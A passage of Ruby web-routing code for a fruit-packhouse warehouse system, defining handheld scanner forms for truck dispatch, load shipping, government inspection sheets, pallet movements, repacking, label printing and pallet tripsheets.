allow_decimals: true,
required: false,
hide_on_load: !has_container)
if AppConst::CR_FG.verified_gross_mass_required_for_loads?
form.add_field(:tare_weight,
'Tare Weight',
data_type: 'number',
allow_decimals: true,
required: false,
hide_on_load: !has_container)
form.add_field(:max_payload,
'Max Payload',
data_type: 'number',
allow_decimals: true,
required: false,
hide_on_load: !has_container)
form.add_label(:actual_payload,
'Calculated Payload',
form_state[:actual_payload],
form_state[:actual_payload],
hide_on_load: !has_container)
end
form.add_select(:cargo_temperature_id,
'Cargo Temperature',
items: MasterfilesApp::CargoTemperatureRepo.new.for_select_cargo_temperatures,
required: false,
hide_on_load: !has_container)
form.add_select(:stack_type_id,
'Stack Type',
items: FinishedGoodsApp::LoadContainerRepo.new.for_select_container_stack_types,
required: false,
hide_on_load: !has_container)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.check(:truck_arrival, load_id)
if res.success
res = interactor.truck_arrival(load_id, params[:truck_arrival])
if res.success
store_locally(:flash_notice, rmd_success_message(res.message))
r.redirect('/rmd/finished_goods/dispatch/truck_arrival/load')
end
end
res.instance = params[:truck_arrival]
store_locally(:res, res)
r.redirect("/rmd/finished_goods/dispatch/truck_arrival/load/#{load_id}")
end
end
r.on 'load' do
r.get do
form_state = {}
res = retrieve_from_local_store(:res)
unless res.nil?
form_state = res.instance
form_state[:error_message] = res.message
form_state[:errors] = res.errors
end
form = Crossbeams::RMDForm.new(form_state,
form_name: :load,
scan_with_camera: @rmd_scan_with_camera,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Dispatch: Truck Arrival',
action: '/rmd/finished_goods/dispatch/truck_arrival/load',
button_caption: 'Submit')
form.add_field(:load_id,
'Load',
data_type: 'number',
scan: 'key248_all',
scan_type: :load,
submit_form: true,
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
load_id = params[:load][:load_id]
res = interactor.check(:truck_arrival, load_id)
if res.success
r.redirect("/rmd/finished_goods/dispatch/truck_arrival/load/#{load_id}")
else
store_locally(:res, res)
r.redirect('/rmd/finished_goods/dispatch/truck_arrival/load')
end
end
end
end
# LOAD TRUCK
# --------------------------------------------------------------------------
r.on 'load_truck' do
# --------------------------------------------------------------------------
r.on 'load', Integer do |load_id|
r.get do
check = interactor.check(:load_truck, load_id)
unless check.success
interactor.stepper(:load_truck).clear
store_locally(:flash_notice, rmd_error_message(check.message))
r.redirect('/rmd/finished_goods/dispatch/load_truck/load')
end
form_state = interactor.stepper(:load_truck).form_state
r.redirect('/rmd/finished_goods/dispatch/load_truck/load') if form_state.empty?
form = Crossbeams::RMDForm.new(form_state,
form_name: :load_truck,
progress: interactor.stepper(:load_truck).progress,
scan_with_camera: @rmd_scan_with_camera,
links: [{ caption: 'Cancel', url: '/rmd/finished_goods/dispatch/load_truck/load/clear', prompt: 'Cancel Load?' }],
notes: retrieve_from_local_store(:flash_notice),
caption: 'Load Truck',
action: "/rmd/finished_goods/dispatch/load_truck/load/#{load_id}",
button_caption: 'Submit')
form.add_label(:load_id, 'Load', load_id)
form.add_label(:voyage_code, 'Voyage Code', form_state[:voyage_code])
form.add_label(:vehicle_number, 'Vehicle Number', form_state[:vehicle_number])
form.add_label(:container_code, 'Container Code', form_state[:container_code]) unless form_state[:container_code].nil?
form.add_label(:requires_temp_tail, 'Requires Temp Tail', form_state[:requires_temp_tail].to_s)
form.add_label(:allocation_count, 'Allocation Count', form_state[:allocation_count]) unless form_state[:allocation_count]&.zero?
form.add_field(:pallet_number,
'Pallet',
scan: 'key248_all',
scan_type: :pallet_number,
submit_form: true,
data_type: 'number',
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
scanned_number = MesscadaApp::ScannedPalletNumber.new(scanned_pallet_number: params[:load_truck][:pallet_number]).pallet_number
res = interactor.stepper_load_pallet(:load_truck, load_id, scanned_number)
if res.instance[:load_loaded]
form_state = interactor.stepper(:load_truck).form_state || {}
interactor.stepper(:load_truck).clear
store_locally(:flash_notice, rmd_success_message(res.message))
if form_state[:requires_temp_tail]
store_locally(:temp_tail, OpenStruct.new(instance: { temp_tail_pallet_number: scanned_number, load_id: load_id }))
r.redirect('/rmd/finished_goods/dispatch/temp_tail')
else
res = interactor.ship_load(load_id)
if res.success
store_locally(:flash_notice, rmd_success_message(res.message))
r.redirect('/rmd/home')
else
res = OpenStruct.new(instance: res.to_h.merge!(load_id: load_id))
store_locally(:ship_load, res)
r.redirect('/rmd/finished_goods/dispatch/ship_load')
end
end
end
message = res.success ? rmd_success_message(res.message) : rmd_error_message(res.message)
store_locally(:flash_notice, message)
r.redirect("/rmd/finished_goods/dispatch/load_truck/load/#{load_id}")
end
end
r.on 'load' do
r.on 'clear' do
interactor.stepper(:load_truck).clear
r.redirect('/rmd/finished_goods/dispatch/load_truck/load')
end
r.get do
form_state = {}
current_load = interactor.stepper(:load_truck)
r.redirect("/rmd/finished_goods/dispatch/load_truck/load/#{current_load.id}") unless current_load.id.nil_or_empty?
form_state = current_load.form_state if current_load.error?
form = Crossbeams::RMDForm.new(form_state,
form_name: :load,
scan_with_camera: @rmd_scan_with_camera,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Dispatch: Load Truck',
action: '/rmd/finished_goods/dispatch/load_truck/load',
button_caption: 'Submit')
form.add_field(:load_id,
'Load',
data_type: 'number',
scan: 'key248_all',
scan_type: :load,
submit_form: true,
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
current_load = interactor.stepper(:load_truck)
load_id = params[:load][:load_id]
res = interactor.check(:load_truck, load_id)
if res.success
current_load.setup_load(load_id)
r.redirect("/rmd/finished_goods/dispatch/load_truck/load/#{load_id}")
else
current_load.write(form_state: { error_message: res.message, errors: res.errors })
r.redirect('/rmd/finished_goods/dispatch/load_truck/load')
end
end
end
end
# SET TEMP TAIL
# --------------------------------------------------------------------------
r.on 'temp_tail' do
r.get do
form_state = {}
res = retrieve_from_local_store(:temp_tail)
unless res.nil?
form_state = res.instance
form_state[:error_message] = res.message
form_state[:errors] = res.errors
end
form = Crossbeams::RMDForm.new(form_state,
form_name: :set_temp_tail,
scan_with_camera: @rmd_scan_with_camera,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Dispatch: Set Temp Tail',
action: '/rmd/finished_goods/dispatch/temp_tail',
button_caption: 'Submit')
form.add_field(:load_id,
'Load',
scan: 'key248_all',
scan_type: :load,
data_type: 'number',
required: true)
form.add_field(:temp_tail_pallet_number,
'Pallet',
scan: 'key248_all',
scan_type: :pallet_number,
data_type: 'number',
required: true)
form.add_field(:temp_tail,
'Temp',
scan: 'key248_all',
submit_form: true,
data_type: 'string',
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
load_id = params[:set_temp_tail][:load_id].to_i
res = interactor.update_temp_tail(load_id, params[:set_temp_tail])
if res.success
if res.instance.loaded
res = interactor.ship_load(load_id)
if res.success
store_locally(:flash_notice, rmd_success_message(res.message))
r.redirect('/rmd/home')
else
res = OpenStruct.new(instance: res.to_h.merge!(load_id: load_id))
store_locally(:ship_load, res)
r.redirect('/rmd/finished_goods/dispatch/ship_load')
end
else
r.redirect "/rmd/finished_goods/dispatch/load_truck/load/#{load_id}"
end
else
store_locally(:temp_tail, res)
r.redirect '/rmd/finished_goods/dispatch/temp_tail'
end
end
end
# SHIP LOAD
# --------------------------------------------------------------------------
r.on 'ship_load' do
r.get do
form_state = {}
res = retrieve_from_local_store(:ship_load)
unless res.nil?
form_state = res.instance
form_state[:error_message] = res.message
form_state[:errors] = res.errors
end
form = Crossbeams::RMDForm.new(form_state,
form_name: :ship_load,
scan_with_camera: @rmd_scan_with_camera,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Dispatch: Ship Load',
action: '/rmd/finished_goods/dispatch/ship_load',
button_caption: 'Ship')
form.add_field(:load_id,
'Load',
scan: 'key248_all',
data_type: 'number',
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
load_id = params[:ship_load][:load_id].to_i
res = interactor.ship_load(load_id)
if res.success
store_locally(:flash_notice, rmd_success_message(res.message))
r.redirect('/rmd/home')
else
store_locally(:ship_load, res)
r.redirect('/rmd/finished_goods/dispatch/ship_load')
end
end
end
# # ALLOCATE PALLETS TO INSPECTION
# --------------------------------------------------------------------------
r.on 'inspection' do
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
# --------------------------------------------------------------------------
# --------------------------------------------------------------------------
r.on 'govt_inspection_sheets', Integer do |govt_inspection_sheet_id|
r.on 'complete' do
res = interactor.complete_govt_inspection_sheet(govt_inspection_sheet_id)
if res.success
store_locally(:flash_notice, rmd_success_message(res.message))
r.redirect('/rmd/home')
else
store_locally(:flash_notice, rmd_error_message(res.message))
r.redirect("/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets/#{govt_inspection_sheet_id}")
end
end
r.get do
check = interactor.check(:edit, govt_inspection_sheet_id)
unless check.success
store_locally(:error, { error_message: check.message })
r.redirect('/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets')
end
pallet_ids = BaseRepo.new.select_values(:govt_inspection_pallets, :pallet_id, govt_inspection_sheet_id: govt_inspection_sheet_id)
pallet_numbers = BaseRepo.new.select_values(:pallets, :pallet_number, id: pallet_ids)
progress = "Scanned Pallets<br>#{pallet_numbers.join('<br>')}"
form_state = interactor.find_govt_inspection_sheet(govt_inspection_sheet_id)
form = Crossbeams::RMDForm.new(form_state,
form_name: :add_pallet_to_govt_inspection_sheet,
progress: progress,
scan_with_camera: @rmd_scan_with_camera,
links: [{ caption: 'Complete',
url: "/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets/#{govt_inspection_sheet_id}/complete",
prompt: 'Complete: Are you sure, you have finished adding pallets?' }],
notes: retrieve_from_local_store(:flash_notice),
caption: 'Dispatch: Consignment Note',
action: "/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets/#{govt_inspection_sheet_id}",
button_caption: 'Submit')
form.add_label(:govt_inspection_sheet_id, 'Govt Inspection Sheet Id', govt_inspection_sheet_id, govt_inspection_sheet_id, hide_on_load: true)
form.add_label(:consignment_note_number, 'Consignment Note Number', form_state[:consignment_note_number])
form.add_label(:inspection_point, 'Inspection Point', form_state[:inspection_point])
form.add_label(:destination_region, 'Destination Region', form_state[:destination_region])
form.add_field(:pallet_number,
'Pallet Number',
data_type: 'number',
scan: 'key248_all',
scan_type: :pallet_number,
submit_form: true,
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.add_pallet_govt_inspection_sheet(govt_inspection_sheet_id, params[:add_pallet_to_govt_inspection_sheet])
if res.success
store_locally(:flash_notice, rmd_success_message(res.message))
else
store_locally(:flash_notice, rmd_error_message(res.message))
end
r.redirect("/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets/#{govt_inspection_sheet_id}")
end
end
r.on 'govt_inspection_sheets' do
r.get do
form_state = retrieve_from_local_store(:error) || {}
form = Crossbeams::RMDForm.new(form_state,
form_name: :govt_inspection_sheet,
scan_with_camera: @rmd_scan_with_camera,
notes: retrieve_from_local_store(:flash_notice),
caption: 'Add Finding Sheet Pallets ',
action: '/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets',
button_caption: 'Submit')
form.add_field(:govt_inspection_sheet_id,
'Govt Inspection Sheet',
data_type: 'number',
scan: 'key248_all',
submit_form: true,
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
govt_inspection_sheet_id = params[:govt_inspection_sheet][:govt_inspection_sheet_id]
res = interactor.check(:add_pallet, govt_inspection_sheet_id)
if res.success
r.redirect("/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets/#{govt_inspection_sheet_id}")
else
store_locally(:error, { error_message: res.message, errors: res.errors })
r.redirect('/rmd/finished_goods/dispatch/inspection/govt_inspection_sheets')
end
end
end
end
end
# --------------------------------------------------------------------------
# PALLET MOVEMENT
# --------------------------------------------------------------------------
r.on 'pallet_movements' do
interactor = FinishedGoodsApp::PalletMovementsInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
# --------------------------------------------------------------------------
# MOVE PALLET
# --------------------------------------------------------------------------
r.on 'move_pallet' do
r.get do
pallet = {}
notice = retrieve_from_local_store(:flash_notice)
from_state = retrieve_from_local_store(:from_state)
pallet.merge!(from_state) unless from_state.nil?
error = retrieve_from_local_store(:error)
if error.is_a?(String)
pallet.merge!(error_message: error)
elsif !error.nil?
pallet.merge!(error_message: error.message)
pallet.merge!(errors: error.errors) unless error.errors.nil_or_empty?
end
form = Crossbeams::RMDForm.new(pallet,
form_name: :pallet,
notes: notice,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Pallet And Location',
action: '/rmd/finished_goods/pallet_movements/move_pallet',
button_caption: 'Submit')
form.add_field(:location, 'Location', scan: 'key248_all', scan_type: :location, submit_form: false, required: true, lookup: true)
form.add_label(:remaining_num_position, 'Remaining No Position', pallet[:remaining_num_position]) unless pallet[:remaining_num_position].nil_or_empty?
form.add_label(:next_position, 'Next Position', pallet[:next_position]) unless pallet[:next_position].nil_or_empty?
form.add_field(:pallet_number, 'Pallet Number', scan: 'key248_all', scan_type: :pallet_number, submit_form: true, data_type: :number, required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
locn_repo = MasterfilesApp::LocationRepo.new
pallet_number = MesscadaApp::ScannedPalletNumber.new(scanned_pallet_number: params[:pallet][:pallet_number]).pallet_number
res = interactor.move_pallet(pallet_number, params[:pallet][:location], params[:pallet][:location_scan_field])
scanned_locn_id = locn_repo.resolve_location_id_from_scan(params[:pallet][:location], params[:pallet][:location_scan_field])
if (scanned_locn = locn_repo.find_location(scanned_locn_id)) && AppConst::CALCULATE_PALLET_DECK_POSITIONS && scanned_locn.location_type_code == AppConst::LOCATION_TYPES_COLD_BAY_DECK && (positions = locn_repo.find_filled_deck_positions(scanned_locn_id)).length < locn_repo.find_max_position_for_deck_location(scanned_locn_id) && !positions.empty?
params[:pallet][:pallet_number] = nil
params[:pallet][:remaining_num_position] = positions.min - 1
params[:pallet][:next_position] = (positions.min - 1).positive? ? "#{scanned_locn.location_long_code}_P#{positions.min - 1}" : nil
store_locally(:from_state, params[:pallet])
end
if res.success
store_locally(:flash_notice, res.message)
else
store_locally(:error, res)
end
r.redirect('/rmd/finished_goods/pallet_movements/move_pallet')
rescue Crossbeams::InfoError => e
store_locally(:error, rmd_error_message(e.message))
r.redirect('/rmd/finished_goods/pallet_movements/move_pallet')
end
end
# MOVE MULTIPLE PALLETS
# --------------------------------------------------------------------------
r.on 'move_multiple_pallets', Integer do |scanned_locn_id|
r.on 'complete_move' do
moved_pallets_count = (retrieve_from_local_store(:moved_pallets) || []).count
location_code = interactor.location_short_code_for(scanned_locn_id)
store_locally(:flash_notice, rmd_success_message("#{moved_pallets_count} pallets have been moved to location #{location_code}"))
r.redirect('/rmd/finished_goods/pallet_movements/move_multiple_pallets')
end
r.get do
pallet = {}
from_state = retrieve_from_local_store(:from_state)
pallet.merge!(from_state) unless from_state.nil?
error = retrieve_from_local_store(:error)
if error.is_a?(String)
pallet.merge!(error_message: error)
elsif !error.nil?
pallet.merge!(error_message: error.message)
pallet.merge!(errors: error.errors) unless error.errors.nil_or_empty?
end
form = Crossbeams::RMDForm.new(pallet,
form_name: :pallet,
notes: retrieve_from_local_store(:flash_notice),
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Pallets',
action: "/rmd/finished_goods/pallet_movements/move_multiple_pallets/#{scanned_locn_id}",
button_caption: 'Submit')
location_code = interactor.location_short_code_for(scanned_locn_id)
form.add_label(:location, 'Location', location_code)
form.add_label(:remaining_num_position, 'Remaining No Position', pallet[:remaining_num_position]) unless pallet[:remaining_num_position].nil_or_empty?
form.add_label(:next_position, 'Next Position', pallet[:next_position]) unless pallet[:next_position].nil_or_empty?
form.add_field(:pallet_number, 'Pallet Number', scan: 'key248_all', scan_type: :pallet_number, submit_form: true, data_type: :number, required: false)
moved_pallets = retrieve_from_local_store(:moved_pallets) || []
unless moved_pallets.empty?
store_locally(:moved_pallets, moved_pallets)
form.add_section_header('Pallets Moved')
moved_pallets.each { |pallet_number| form.add_label(:pallet_number, '', pallet_number) }
form.add_button('Complete Move', "/rmd/finished_goods/pallet_movements/move_multiple_pallets/#{scanned_locn_id}/complete_move")
end
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
pallet_number = MesscadaApp::ScannedPalletNumber.new(scanned_pallet_number: params[:pallet][:pallet_number]).pallet_number
val_res = interactor.validate_pallet_number(pallet_number)
unless val_res.success
store_locally(:error, val_res)
r.redirect("/rmd/finished_goods/pallet_movements/move_multiple_pallets/#{scanned_locn_id}")
end
res = interactor.move_location_pallet(val_res.instance[:id], scanned_locn_id)
locn_repo = MasterfilesApp::LocationRepo.new
if (scanned_locn = locn_repo.find_location(scanned_locn_id)) && AppConst::CALCULATE_PALLET_DECK_POSITIONS && scanned_locn.location_type_code == AppConst::LOCATION_TYPES_COLD_BAY_DECK && (positions = locn_repo.find_filled_deck_positions(scanned_locn_id)).length < locn_repo.find_max_position_for_deck_location(scanned_locn_id) && !positions.empty?
params[:pallet][:pallet_number] = nil
params[:pallet][:remaining_num_position] = positions.min - 1
params[:pallet][:next_position] = (positions.min - 1).positive? ? "#{scanned_locn.location_long_code}_P#{positions.min - 1}" : nil
store_locally(:from_state, params[:pallet])
end
if res.success
moved_pallets = retrieve_from_local_store(:moved_pallets) || []
moved_pallets << val_res.instance[:pallet_number]
store_locally(:moved_pallets, moved_pallets)
store_locally(:flash_notice, res.message)
else
store_locally(:error, res)
end
r.redirect("/rmd/finished_goods/pallet_movements/move_multiple_pallets/#{scanned_locn_id}")
rescue Crossbeams::InfoError => e
store_locally(:error, rmd_error_message(e.message))
r.redirect("/rmd/finished_goods/pallet_movements/move_multiple_pallets/#{scanned_locn_id}")
end
end
r.on 'move_multiple_pallets' do
r.get do
form_state = retrieve_from_local_store(:error).to_h
form = Crossbeams::RMDForm.new(form_state,
form_name: :pallet,
notes: retrieve_from_local_store(:flash_notice),
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Location',
action: '/rmd/finished_goods/pallet_movements/move_multiple_pallets',
button_caption: 'Submit')
form.add_field(:location, 'Location', scan: 'key248_all', scan_type: :location, submit_form: true, required: true, lookup: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
val_res = interactor.validate_location(params[:pallet][:location], params[:pallet][:location_scan_field])
if val_res.success
scanned_locn_id = val_res.instance
r.redirect("/rmd/finished_goods/pallet_movements/move_multiple_pallets/#{scanned_locn_id}")
else
store_locally(:error, val_res)
r.redirect('/rmd/finished_goods/pallet_movements/move_multiple_pallets')
end
rescue Crossbeams::InfoError => e
store_locally(:error, rmd_error_message(e.message))
r.redirect('/rmd/finished_goods/pallet_movements/move_multiple_pallets')
end
end
r.on 'empty_pallet_location' do
r.get do
form_state = {}
error = retrieve_from_local_store(:error)
form_state.merge!(error_message: error.message) unless error.nil?
form = Crossbeams::RMDForm.new(form_state,
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Location',
action: '/rmd/finished_goods/pallet_movements/empty_pallet_location',
button_caption: 'Submit')
form.add_field(:location, 'Location', scan: 'key248_all', scan_type: :location, submit_form: true, required: true, lookup: false)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.pallets_in_location_to_be_cleared(params[:pallet])
if res.success
form = Crossbeams::RMDForm.new(nil,
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Confirm Empty Location',
action: '/rmd/finished_goods/pallet_movements/empty_pallet_location_rejected',
reset_button: false,
button_caption: 'No')
form.add_section_header(res.message)
form.add_button('Yes', "/rmd/finished_goods/pallet_movements/empty_pallet_location_confirmed/#{res.instance}")
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
else
store_locally(:error, res)
r.redirect('/rmd/finished_goods/pallet_movements/empty_pallet_location')
end
end
end
r.on 'empty_pallet_location_rejected' do
r.redirect('/rmd/finished_goods/pallet_movements/empty_pallet_location')
end
r.on 'empty_pallet_location_confirmed', Integer do |location_id|
res = interactor.move_all_pallet_out_of_location(location_id)
if res.success
view(inline: rmd_success_message(res.message), layout: :layout_rmd)
else
store_locally(:error, res)
r.redirect('/rmd/finished_goods/pallet_movements/empty_pallet_location')
end
end
end
# --------------------------------------------------------------------------
# REPACK PALLET
# --------------------------------------------------------------------------
r.on 'repack_pallet' do
interactor = MesscadaApp::MesscadaInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
r.on 'scan_pallet' do
r.get do
pallet = {}
notice = retrieve_from_local_store(:flash_notice)
error = retrieve_from_local_store(:error)
pallet.merge!(error_message: error) unless error.nil?
form = Crossbeams::RMDForm.new(pallet,
notes: notice,
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Pallet',
action: '/rmd/finished_goods/repack_pallet/scan_pallet',
button_caption: 'Submit')
form.add_field(:pallet_number, 'Pallet Number', scan: 'key248_all', scan_type: :pallet_number, submit_form: true, data_type: :number, required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
pallet_sequences = interactor.find_pallet_sequences_by_pallet_number(params[:pallet][:pallet_number])
if pallet_sequences.empty?
store_locally(:error, "Scanned Pallet:#{params[:pallet][:pallet_number]} doesn't exist")
r.redirect('/rmd/finished_goods/repack_pallet/scan_pallet')
else
r.redirect("/rmd/finished_goods/repack_pallet/scan_pallet_sequence/#{pallet_sequences.first[:id]}")
end
end
end
r.on 'scan_pallet_sequence', Integer do |id|
r.get do
pallet_sequence = interactor.find_pallet_sequence_attrs(id)
if pallet_sequence.nil_or_empty?
store_locally(:error, "Pallet sequence:#{id} doesn't exist")
r.redirect('/rmd/finished_goods/repack_pallet/scan_pallet')
end
if pallet_sequence[:allocated]
store_locally(:error, "Pallet :#{pallet_sequence[:pallet_number]} has been allocated")
r.redirect('/rmd/finished_goods/repack_pallet/scan_pallet')
end
ps_ids = interactor.find_pallet_sequences_from_same_pallet(id)
error = retrieve_from_local_store(:error)
pallet_sequence.merge!(error_message: error.message) unless error.nil?
form = Crossbeams::RMDForm.new(pallet_sequence,
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: "View Pallet #{pallet_sequence[:pallet_number]}",
step_and_total: [ps_ids.index(id) + 1, ps_ids.length],
reset_button: false,
action: "/rmd/finished_goods/repack_pallet/scan_pallet_sequence/#{id}",
button_caption: 'Repack')
fields_for_rmd_pallet_sequence_display(form, pallet_sequence)
form.add_csrf_tag csrf_tag
form.add_label(:verification_result, 'Verification Result', pallet_sequence[:verification_result])
form.add_label(:verification_failure_reason, 'Verification Failure Reason', pallet_sequence[:verification_failure_reason])
form.add_label(:fruit_sticker, 'Fruit Sticker', pallet_sequence[:fruit_sticker]) if AppConst::REQUIRE_FRUIT_STICKER_AT_PALLET_VERIFICATION
form.add_prev_next_nav('/rmd/finished_goods/repack_pallet/scan_pallet_sequence/$:id$', ps_ids, id)
view(inline: form.render, layout: :layout_rmd)
end
r.post do
pallet_sequence = interactor.find_pallet_sequence_attrs(id)
res = interactor.repack_pallet(pallet_sequence[:pallet_id])
if res.success
pallet_sequence_id = interactor.pallet_sequence_ids(res.instance[:new_pallet_id]).first
store_locally(:flash_notice, res.message)
r.redirect("/rmd/finished_goods/repack_pallet/print_pallet_labels/#{pallet_sequence_id}")
else
store_locally(:error, res)
r.redirect("/rmd/finished_goods/repack_pallet/scan_pallet_sequence/#{id}")
end
rescue Crossbeams::InfoError => e
store_locally(:error, rmd_error_message(e.message))
r.redirect("/rmd/finished_goods/repack_pallet/scan_pallet_sequence/#{id}")
end
end
r.on 'print_pallet_labels', Integer do |id|
prod_interactor = ProductionApp::ProductionRunInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
r.get do
pallet_sequence = interactor.find_pallet_sequence_attrs(id)
if pallet_sequence.nil_or_empty?
store_locally(:error, "Pallet sequence:#{id} doesn't exist")
r.redirect('/rmd/finished_goods/repack_pallet/scan_pallet')
end
ps_ids = interactor.find_pallet_sequences_from_same_pallet(id)
printer_repo = LabelApp::PrinterRepo.new
notice = retrieve_from_local_store(:flash_notice)
error = retrieve_from_local_store(:error)
pallet_sequence.merge!(error_message: error.message) unless error.nil?
form = Crossbeams::RMDForm.new(pallet_sequence,
notes: notice,
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: "View Pallet #{pallet_sequence[:pallet_number]}",
step_and_total: [ps_ids.index(id) + 1, ps_ids.length],
reset_button: false,
action: "/rmd/finished_goods/repack_pallet/print_pallet_labels/#{id}",
button_caption: 'Print')
fields_for_rmd_pallet_sequence_display(form, pallet_sequence)
form.add_csrf_tag csrf_tag
form.add_label(:verification_result, 'Verification Result', pallet_sequence[:verification_result])
form.add_label(:verification_failure_reason, 'Verification Failure Reason', pallet_sequence[:verification_failure_reason])
form.add_label(:fruit_sticker, 'Fruit Sticker', pallet_sequence[:fruit_sticker]) if AppConst::REQUIRE_FRUIT_STICKER_AT_PALLET_VERIFICATION
form.add_select(:pallet_label_name, 'Pallet Label', value: prod_interactor.find_pallet_label_name_by_resource_allocation_id(pallet_sequence[:resource_allocation_id]), items: prod_interactor.find_pallet_labels, required: false)
form.add_select(:printer, 'Printer', items: printer_repo.select_printers_for_application(AppConst::PRINT_APP_PALLET), required: false, value: printer_repo.default_printer_for_application(AppConst::PRINT_APP_PALLET))
form.add_field(:qty_to_print, 'Qty To Print', required: false, prompt: true, data_type: :number)
form.add_prev_next_nav('/rmd/finished_goods/repack_pallet/print_pallet_labels/$:id$', ps_ids, id)
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = prod_interactor.print_pallet_label_from_sequence(id,
pallet_label_name: params[:pallet][:pallet_label_name],
no_of_prints: params[:pallet][:qty_to_print],
printer: params[:pallet][:printer])
if res.success
store_locally(:flash_notice, "Labels For Pallet: #{params[:pallet][:pallet_number]} Printed Successfully")
else
store_locally(:error, res)
end
r.redirect("/rmd/finished_goods/repack_pallet/print_pallet_labels/#{id}")
end
end
end
# --------------------------------------------------------------------------
# CREATE PALLET TRIPSHEET
# --------------------------------------------------------------------------
r.on 'create_pallet_tripsheet' do
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
r.get do
form_state = {}
notice = retrieve_from_local_store(:flash_notice)
error = retrieve_from_local_store(:error)
form_state.merge!(error_message: error) unless error.nil?
form = Crossbeams::RMDForm.new(form_state,
form_name: :location,
notes: notice,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Choose Location',
action: '/rmd/finished_goods/create_pallet_tripsheet',
button_caption: 'Submit')
form.add_select(:planned_location_id,
'Planned Location',
items: MasterfilesApp::LocationRepo.new.for_select_location_for_assignment(AppConst::WAREHOUSE_RECEIVING_AREA),
prompt: true,
required: true)
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.post do
res = interactor.manually_create_pallet_tripsheet(params[:location][:planned_location_id])
unless res.success
store_locally(:error, unwrap_failed_response(res))
r.redirect('/rmd/finished_goods/create_pallet_tripsheet')
return
end
r.redirect("/rmd/finished_goods/scan_tripsheet_pallet/#{res.instance}")
end
end
r.on 'print_changed' do
show = case params[:changed_value]
when 't'
true
when 'f', ''
false
end
action = show ? :show_element : :hide_element
json_actions([OpenStruct.new(type: action, dom_id: 'pallet_printer_row')])
end
r.on 'scan_tripsheet_pallet', Integer do |id|
form_state = {}
form_state.merge! retrieve_from_local_store(:form_state).to_h
error = retrieve_from_local_store(:error)
form_state.merge!(error_message: error) unless error.nil?
form = Crossbeams::RMDForm.new(form_state,
form_name: :pallet,
scan_with_camera: @rmd_scan_with_camera,
caption: 'Scan Tripsheet Pallet',
action: "/rmd/finished_goods/create_pallet_vehicle_job_unit/#{id}",
button_caption: 'Submit')
form.behaviours do |behaviour|
behaviour.input_change :print,
notify: [{ url: '/rmd/finished_goods/print_changed' }]
end
tripsheet_pallets = FinishedGoodsApp::GovtInspectionRepo.new.get_vehicle_job_units(id)
form.add_label(:tripsheet_number, 'Tripsheet Number', id)
form.add_field(:pallet_number, 'Pallet Number', scan: 'key248_all', scan_type: :pallet_number, submit_form: true, data_type: :number, required: false)
unless tripsheet_pallets.empty?
form.add_section_header('Pallets On Tripsheet')
tripsheet_pallets.each do |o|
form.add_label(:tripsheet_pallet, '', o[:pallet_number])
end
end
form.add_toggle(:print, 'Print Tripsheet?')
form.add_select(:printer,
'Printer',
items: LabelApp::PrinterRepo.new.select_printers_for_application(AppConst::PRINT_APP_PALLET_TRIPSHEET),
value: LabelApp::PrinterRepo.new.default_printer_for_application(AppConst::PRINT_APP_PALLET_TRIPSHEET),
required: false,
prompt: true,
hide_on_load: form_state[:print] != 't')
form.add_button('Cancel', "/rmd/finished_goods/cancel_pallet_tripsheet/#{id}")
form.add_button('Complete', "/rmd/finished_goods/complete_pallet_tripsheet/#{id}")
form.add_csrf_tag csrf_tag
view(inline: form.render, layout: :layout_rmd)
end
r.on 'complete_pallet_tripsheet', Integer do |id|
interactor = FinishedGoodsApp::GovtInspectionSheetInteractor.new(current_user, {}, { route_url: request.path, request_ip: request.ip }, {})
